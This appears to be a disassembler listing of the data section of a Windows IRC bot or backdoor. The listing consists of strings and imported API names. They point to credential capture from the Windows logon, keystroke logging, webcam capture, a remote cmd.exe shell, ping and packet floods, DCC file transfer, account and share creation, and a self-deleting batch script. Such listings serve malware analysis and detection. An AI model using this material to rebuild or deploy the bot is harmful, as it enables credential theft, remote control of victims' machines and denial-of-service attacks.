aWinlogon db 'WINLOGON',0 ; DATA XREF: sub_409209+AFo
align 10h
unk_42CDC0 db 2 ; DATA XREF: sub_40966F+70o
; sub_409706+C7o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 69h, 6Eh
db 64h ; d
db 70h, 61h, 73h
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aTheWindowsLo_0 db ' The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us'
db 'er: (%S/%S).',0
align 4
unk_42CE2C db 2 ; DATA XREF: sub_409706+E1o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 69h, 6Eh
db 64h ; d
db 70h, 61h, 73h
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aTheWindowsLo_1 db ' The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us'
db 'er: (%S/(N/A)).',0
align 4
aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_40981F+C50o
align 4
aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_40981F+C48o
aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_40981F:loc_40A45Ao
align 10h
aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_40981F+BE6o
align 10h
aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_40981F+BD9o
align 10h
aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_40981F+BCCo
align 10h
aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_40981F+BBFo
align 10h
aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_40981F+BB2o
align 10h
aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_40981F+BAAo
align 4
aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_40981F:loc_40A3BCo
align 10h
aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_40981F+B68o
align 10h
aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_40981F+B60o
align 10h
aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_40981F:loc_40A372o
aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_40981F+B0Eo
align 4
aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_40981F+B01o
align 4
aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_40981F+AF4o
aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_40981F+AECo
aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_40981F:loc_40A2FEo
aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_40981F+AAAo
align 10h
aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_40981F+AA2o
align 10h
aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_40981F:loc_40A2B4o
align 10h
aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_40981F+A60o
align 10h
aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_40981F+A58o
align 4
aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_40981F:loc_40A26Ao
align 4
aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_40981F+9CEo
align 4
aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_40981F+9C1o
align 4
aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_40981F+9B4o
aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_40981F+9A7o
align 4
aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_40981F+99Ao
align 10h
aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_40981F+98Do
align 10h
aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_40981F+980o
align 4
aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_40981F+973o
align 4
aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_40981F+966o
align 4
aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_40981F+959o
aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_40981F+951o
aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_40981F:loc_40A15Fo
align 10h
aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_40981F+903o
align 10h
aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_40981F+8F6o
aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_40981F+8EEo
align 10h
aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_40981F:loc_40A100o
align 4
aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_40981F+8B4o
align 4
aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_40981F+842o
aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_40981F+835o
align 10h
aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_40981F+828o
align 4
aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_40981F+81Bo
align 4
aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_40981F+80Eo
align 4
aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_40981F+801o
align 4
aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_40981F+7F4o
align 10h
aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_40981F+7E7o
align 4
aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_40981F+7DAo
aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_40981F+7D2o
align 4
aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_40981F:loc_409FE0o
aClosesocket db 'closesocket',0 ; DATA XREF: sub_40981F+688o
aGetpeername db 'getpeername',0 ; DATA XREF: sub_40981F+67Bo
aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_40981F+66Eo
align 10h
aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_40981F+661o
align 10h
aGethostname db 'gethostname',0 ; DATA XREF: sub_40981F+654o
aGetsockname db 'getsockname',0 ; DATA XREF: sub_40981F+647o
aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_40981F+63Ao
align 4
aAccept db 'accept',0 ; DATA XREF: sub_40981F+62Do
; ___:0042FA40o
align 4
aListen db 'listen',0 ; DATA XREF: sub_40981F+620o
align 4
aSelect db 'select',0 ; DATA XREF: sub_40981F+613o
align 4
aBind db 'bind',0 ; DATA XREF: sub_40981F+60Bo
align 4
aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_40981F+5F9o
align 10h
aRecv db 'recv',0 ; DATA XREF: sub_40981F+5ECo
align 4
aSendto db 'sendto',0 ; DATA XREF: sub_40981F+5DFo
align 10h
aSend db 'send',0 ; DATA XREF: sub_40981F+5D2o
; sub_40EE72+220Do
align 4
aNtohl db 'ntohl',0 ; DATA XREF: sub_40981F+5C5o
align 10h
aNtohs db 'ntohs',0 ; DATA XREF: sub_40981F+5B8o
align 4
aHtonl db 'htonl',0 ; DATA XREF: sub_40981F+5ABo
align 10h
aHtons db 'htons',0 ; DATA XREF: sub_40981F+59Eo
align 4
aInet_addr db 'inet_addr',0 ; DATA XREF: sub_40981F+591o
align 4
aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_40981F+584o
align 10h
aConnect db 'connect',0 ; DATA XREF: sub_40981F+577o
; ___:0042FE50o
aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_40981F+56Ao
aSocket db 'socket',0 ; DATA XREF: sub_40981F+55Do
align 4
aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_40981F+550o
align 4
aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_40981F+543o
aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_40981F+536o
align 4
a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_40981F+529o
align 4
aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_40981F+51Co
align 4
aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_40981F+50Fo
align 10h
aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_40981F+507o
align 4
aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_40981F+4F6o
align 4
aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_40981F+483o
align 4
aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_40981F+476o
align 4
aBitblt db 'BitBlt',0 ; DATA XREF: sub_40981F+469o
align 4
aSelectobject db 'SelectObject',0 ; DATA XREF: sub_40981F+45Co
align 4
aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_40981F+44Fo
align 10h
aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_40981F+442o
align 10h
aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_40981F+435o
align 4
aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_40981F+428o
align 4
aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_40981F+420o
align 4
aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_40981F:loc_409C2Eo
align 10h
aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_40981F:loc_409C06o
align 10h
aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_40981F+38Fo
align 4
aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_40981F+382o
aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_40981F+375o
align 4
aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_40981F+368o
align 4
aControlservice db 'ControlService',0 ; DATA XREF: sub_40981F+35Bo
align 4
aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_40981F+34Eo
align 4
aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_40981F+341o
align 4
aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_40981F:loc_409B58o
align 4
aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_40981F+309o
align 4
aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_40981F+2FCo
align 4
aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_40981F:loc_409B13o
align 4
aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_40981F+2ACo
aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_40981F+29Fo
aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_40981F+292o
align 4
aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_40981F+285o
align 4
aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_40981F+278o
aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_40981F+270o
align 4
aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_40981F:loc_409A7Eo
align 4
aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_40981F+21Ao
aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_40981F+20Do
align 4
aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_40981F+200o
aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_40981F:loc_409A17o
align 4
aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_40981F+1A0o
align 4
aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_40981F+193o
align 4
aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_40981F+186o
align 10h
aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_40981F+179o
align 10h
aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_40981F+16Co
align 10h
aIswindow db 'IsWindow',0 ; DATA XREF: sub_40981F+15Fo
align 4
aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_40981F+152o
aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_40981F+14Ao
align 4
aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_40981F:loc_409954o
; sub_42105F+Do
align 4
aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_40981F:loc_409927o
align 4
aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_40981F+A0o
align 4
aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_40981F+93o
aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_40981F+86o
aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_40981F+79o
align 4
aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_40981F+6Co
aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_40981F+5Fo
aModule32first db 'Module32First',0 ; DATA XREF: sub_40981F+52o
align 4
aProcess32next db 'Process32Next',0 ; DATA XREF: sub_40981F+45o
align 4
aProcess32first db 'Process32First',0 ; DATA XREF: sub_40981F+38o
align 4
aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_40981F+2Bo
align 4
aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_40981F+23o
align 4
aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_40981F+Ao
align 4
unk_42D764 db 2 ; DATA XREF: sub_40A4AC+2F2o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 63h, 6Fh, 72h
db 65h ; e
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aDllTestComplet db ' DLL test complete.',0
align 4
aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+2CCo
align 10h
aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+298o
aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+264o
align 4
aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+230o
align 4
aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+1FCo
align 4
aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+1C8o
aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+194o
align 4
aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+160o
align 4
aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+12Co
align 10h
aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+F8o
aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+C4o
align 10h
aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+90o
align 4
aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+5Co
aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+28o
align 10h
aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_40AA35+72o
align 4
aMirc db 'mIRC',0 ; DATA XREF: sub_40AAFA+5o
; sub_415C5E+18o
align 4
aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_40AB7C+1Co
align 4
aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_40AC20+2o
aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_40AC42+140o
align 4
a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_40AC42+85o
db ':repeat',0Dh,0Ah
db 'del "%%1"',0Dh,0Ah
db 'if exist "%%1" goto repeat',0Dh,0Ah
db 'del "%s"',0
aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_40AC42+48o
align 4
unk_42D9A8 db 2 ; DATA XREF: sub_40AE02:loc_40AEC1o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 6Ch, 75h
db 73h ; s
db 68h, 64h, 6Eh
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aNotSupportedBy db ' Not supported by this system.',0
align 4
unk_42D9E8 db 2 ; DATA XREF: sub_40AE02:loc_40AE8Fo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 6Ch, 75h
db 73h ; s
db 68h, 64h, 6Eh
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aUnableToAlloca db ' Unable to allocation ARP cache.',0
align 4
unk_42DA28 db 2 ; DATA XREF: sub_40AE02:loc_40AE5Bo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 6Ch, 75h
db 73h ; s
db 68h, 64h, 6Eh
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aArpCacheIsEmpt db ' ARP cache is empty.',0
align 4
unk_42DA5C db 2 ; DATA XREF: sub_40AE02+49o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 6Ch, 75h
db 73h ; s
db 68h, 64h, 6Eh
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aErrorGettingAr db ' Error getting ARP cache: <%d>.',0
align 4
unk_42DA9C db 2 ; DATA XREF: sub_40AF86+13Co
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 69h, 6Eh
db 67h ; g
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFinishedSendin db ' Finished sending pings to %s.',0
align 4
unk_42DAD8 db 2 ; DATA XREF: sub_40AF86+6Eo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 69h, 6Eh
db 67h ; g
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aErrorSendingPi db ' Error sending pings to %s.',0
align 10h
dword_42DB10 dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40B112+1C6o
dd 2BBBB02h
aFinishedSend_0 db ' Finished sending packets to %s.',0
align 4
dword_42DB4C dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40B112+8Eo
dd 2BBBB02h
aErrorSending_1 db ' Error sending pings to %s.',0
align 4
aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_40B390+33o
dword_42DB94 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40B417:loc_40B549o
dd 2BBBB02h
aCouldNotReadDa db ' Could not read data from proccess.',0Dh,0Ah,0
align 4
dword_42DBD4 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40B417+10Fo
dd 2BBBB02h
aProccessHasTer db ' Proccess has terminated.',0Dh,0Ah,0
align 4
dword_42DC0C dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40B417:loc_40B4FDo
dd 2BBBB02h
aCouldNotRead_0 db ' Could not read data from proccess',0Dh,0Ah,0
align 4
dword_42DC4C dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40B56C+194o
dd 2BBBB02h
aFailedToStartI db ' Failed to start IO thread, error: <%d>.',0
align 10h
dword_42DC90 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40B56C+14Co
dd 2BBBB02h
aRemoteCommandP db ' Remote Command Prompt',0
aCmd_exe db 'cmd.exe',0 ; DATA XREF: sub_40B56C+21o
aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_40B721+52o
aSysinfoCpuI64u db '[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:'
; DATA XREF: sub_40B8D8+297o
db ' %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]:'
db ' %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:'
db ' %s. [Uptime]: %s.',0
align 4
aDdMmmYyyy db 'dd:MMM:yyyy',0 ; DATA XREF: sub_40B8D8+192o
aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_40B8D8:loc_40BA3Co
align 10h
word_42DDD0 dw 3Fh ; DATA XREF: sub_40B8D8:loc_40B9DAr
; sub_40D099+1Fo
align 4
dword_42DDD4 dd 28207325h, 297325h ; DATA XREF: sub_40B8D8+EBo
dword_42DDDC dd 3F3F3Fh ; DATA XREF: sub_40B8D8:loc_40B99Bo
; ___:loc_415C0Fo
a2003 db '2003',0 ; DATA XREF: sub_40B8D8+BAo
; ___:0042F8D8o
align 4
aXp db 'XP',0 ; DATA XREF: sub_40B8D8+AAo
; ___:00415BFAo
align 4
a2k db '2K',0 ; DATA XREF: sub_40B8D8+98o
; ___:00415BEAo
align 10h
aMe db 'ME',0 ; DATA XREF: sub_40B8D8+7Eo
; ___:00415BD1o
align 4
a98 db '98',0 ; DATA XREF: sub_40B8D8+6Co
; ___:00415BC1o
align 4
aNt db 'NT',0 ; DATA XREF: sub_40B8D8+5Ao
; ___:00415BB1o
align 4
a95 db '95',0 ; DATA XREF: sub_40B8D8+46o
; ___:00415BA3o
align 10h
aNetinfoTypeSS_ db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0
; DATA XREF: sub_40BB8C+A4o
align 10h
off_42DE40 dd offset loc_412F4B+3 ; DATA XREF: sub_40BB8C:loc_40BBF8o
off_42DE44 dd offset dword_4E414C ; DATA XREF: sub_40BB8C:loc_40BBEEo
dword_42DE48 dd 6C616944h, 70752Dh ; DATA XREF: sub_40BB8C+5Bo
dword_42DE50 dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h ; DATA XREF: sub_40BB8C+48o
unk_42DE60 db 2 ; DATA XREF: sub_40BC4B:loc_40BE04o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 76h, 69h, 73h
db 69h ; i
db 74h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToConnec db 'Failed to connect to HTTP server.',0
align 10h
unk_42DEA0 db 2 ; DATA XREF: sub_40BC4B:loc_40BDFDo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 76h, 69h, 73h
db 69h ; i
db 74h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aCouldNotOpenAC db 'Could not open a connection.',0
align 4
dword_42DEDC dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh
; DATA XREF: sub_40BC4B+1A0o
dd 0BB022029h, 202002BBh, 61766E49h, 2064696Ch, 2E4C5255h
dd 0
unk_42DF08 db 2 ; DATA XREF: sub_40BC4B:loc_40BDDEo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 76h, 69h, 73h
db 69h ; i
db 74h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToGetReq db 'Failed to get requested URL from HTTP server.',0
align 4
dword_42DF54 dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh
; DATA XREF: sub_40BC4B+18Co
dd 0BB022029h, 202002BBh, 204C5255h, 69736976h, 2E646574h
dd 0
dword_42DF80 dd 2A2F2Ah ; DATA XREF: sub_40BC4B+3Bo
dword_42DF84 dd 202E6425h, 3D207325h, 732520h ; DATA XREF: sub_40BEF5+35o
dword_42DF90 dd 6C415B2Dh, 20736169h, 7473694Ch, 2D5Dh ; DATA XREF: sub_40BEF5+10o
a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_40BF6D+60o
align 4
dword_42DFC4 dd 7A026E02h, 201F6D1Fh, 676F6C28h, 1F702E73h, 29671F6Ch
; DATA XREF: sub_40C00D+1Ao
dd 0BBBB0220h, 20202002h, 61656C43h, 2E646572h, 0
dword_42DFEC dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40C07F+DCo
dd 2BBBB02h, 694C2020h, 63207473h, 6C706D6Fh, 2E657465h
dd 0
dword_42E018 dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40C07F+3Fo
dd 2BBBB02h, 65422020h, 6E6967h
dword_42E038 dd 80000002h, 42F6CCh, 80000002h, 42F6FCh, 80000001h, 42F734h
; DATA XREF: sub_40C1AE+7o
dword_42E050 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40C1AE+63o
; sub_40C351+170o
dd 2BBBB02h
aFailedToSendTo db ' Failed to send to Remote command shell.',0
align 4
dword_42E094 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40C351+ABo
dd 2BBBB02h
aFailedToOpenRe db ' Failed to open remote command shell.',0
align 4
dword_42E0D4 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40C351+47o
; sub_40C512+FDo
dd 2BBBB02h
aFailedToOpenSo db ' Failed to open socket.',0
align 4
dword_42E108 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40C512+362o
; sub_40C8B4+156o
dd 2BBBB02h, 6F532020h, 74656B63h, 72726520h, 2E726Fh
dword_42E130 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40C512+2FAo
dd 2BBBB02h
aTransferComp_0 db ' Transfer complete to IP: %s, Filename: %s (%s bytes).',0
dword_42E180 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40C512+202o
dd 2BBBB02h
aUnableToOpenSo db ' Unable to open socket.',0
align 4
dword_42E1B4 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40C512+1CBo
dd 2BBBB02h, 65532020h, 7420646Eh, 6F656D69h, 2E7475h
dword_42E1DC dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
; DATA XREF: sub_40C512+16Ao
dd 169h
dword_42E1F4 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40C512+127o
dd 2BBBB02h
aFileDoesnTExis db ' File doesn',27h,'t exist.',0
align 4
dword_42E224 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40C512+82o
dd 2BBBB02h
aFailedToBindTo db ' Failed to bind to socket.',0
dword_42E258 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40C512+44o
dd 2BBBB02h
aFailedToCreate db ' Failed to create socket.',0
align 4
dword_42E28C dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40C8B4+1D1o
dd 2BBBB02h
aTransferComp_1 db ' Transfer complete from IP: %s, Filename: %s (%s bytes).',0
align 10h
dword_42E2E0 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40C8B4+CBo
dd 2BBBB02h
aErrorOpeningSo db ' Error opening socket.',0
dword_42E310 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40C8B4+ABo
dd 2BBBB02h
aErrorOpeningFi db ' Error opening file for writing.',0
align 4
aAB db 'a+b',0 ; DATA XREF: sub_40C8B4+97o
dword_42E350 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40C8B4+83o
dd 2BBBB02h
aErrorUnableToW db ' Error unable to write file to disk.',0
align 10h
unk_42E390 db 2 ; DATA XREF: sub_40CAF1+493o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
